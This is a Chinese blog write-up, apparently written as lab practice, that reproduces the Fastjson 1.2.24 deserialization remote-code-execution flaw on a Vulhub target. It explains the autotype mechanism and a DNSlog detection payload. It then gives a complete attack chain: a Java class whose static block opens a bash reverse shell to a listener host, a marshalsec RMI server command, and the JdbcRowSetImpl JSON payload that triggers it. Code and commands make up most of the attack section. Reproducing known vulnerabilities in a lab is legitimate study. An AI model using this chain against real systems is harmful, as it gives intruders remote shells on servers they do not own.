【Vulhub】Fastjson 1.2.24_rce复现

文章目录

一,Fastjson是什么?

Fastjson 是阿里巴巴开发的一款将 json 字符串和 java 对象进行序列化和反序列化的开源 json 解析库。

二,fastjson漏洞原理

fastjson 提供了 autotype 功能,在请求过程中,我们可以在请求包中通过修改@type 的值,来反序列化为指定的类型,而 fastjson 在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题

三,判断是否有fastjson反序列化

正常请求是 get 请求并且没有请求体,可以通过构造错误的 POST 请求,即可查看在返回包中是否有 fastjson 这个字符串来判断

四,复现Fastjson 1.2.24_rce(vulhub)

环境配置

fastjson环境配置详细

这里我使用vulhub中的fastjson靶机做复现

1.判断是否存在Fastjson反序列化

抓包,构造恶意POST请求,先弄一个dnslog,看是否可以接收到请求

php 复制代码
payload:

{"lzh":{"@type":"javera.net.Inet4Address","val":"dnslog"}}

发送POST请求包

看到可以请求成功,说明存在fastjson漏洞

2.反弹shell

写一个反弹shell的java文件

java 复制代码
package java_exp;

import java.lang.Runtime;
import java.lang.Process;
public class Touchfile {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/监听IP地址/8989 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e){

        }
    }
}

编译Java文件

复制代码
javac Touchfile.java

将编译好的class文件,通过xftp移动到vps服务器中,并在当前目录开一个python服务,开启8080端口

3.启动RMI服务器

RMI(远程方法调用)使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端

下载marshalsec ,这是一款 Java 反序列化利用工具 , 配置好之后,目录下会出现target目录,进入调用jar文件

下载教程:marshalsec下载

复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP:8989/#TouchFile" 6666

ip地址就是你攻击机的IP地址,8989端口是接收Touchfile.class文件,而6666端口是调用RMI服务器的接口

开启监听端口:就是在java文件中写的端口8989端口是监听端口

4.构造恶意POST请求

shell 复制代码
POST请求

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://IP地址:6666/Touchfile",
        "autoCommit":true
    }
}

发送数据包,没有回显说明反弹成功

相关推荐
她的男孩19 小时前
后台权限不只是菜单隐藏:Forge Admin 的 RBAC 权限链路拆解
java·后端·架构
Slow菜鸟19 小时前
Maven 仓库下载机制
java·数据库·maven
一个诺诺前行的后端程序员19 小时前
rag+springai
java·eclipse
Hexian258019 小时前
SpringAI+RAG
java·spring·ai
冰小忆19 小时前
类变量在继承场景下的初始化规则是怎样的?
java·前端·数据库
AI人工智能+电脑小能手19 小时前
【大白话说Java面试题 第71题】【Mysql篇】第1题:索引是什么?
java·开发语言·b树·mysql·面试
AC赳赳老秦20 小时前
OpenClaw碎片时间利用:设置轻量化自动化任务,高效利用职场碎片时间
java·大数据·运维·服务器·数据库·自动化·openclaw
钮钴禄·爱因斯晨20 小时前
秋天的第一个项目,飞算JavaAI一小时拿下~
java·人工智能
九皇叔叔20 小时前
VMware 安装 麒麟操作系统
java·开发语言·虚拟机·麒麟操作系统·vmware安装
yuhuofei202120 小时前
【Python入门】Python中字符串相关拓展
android·java·python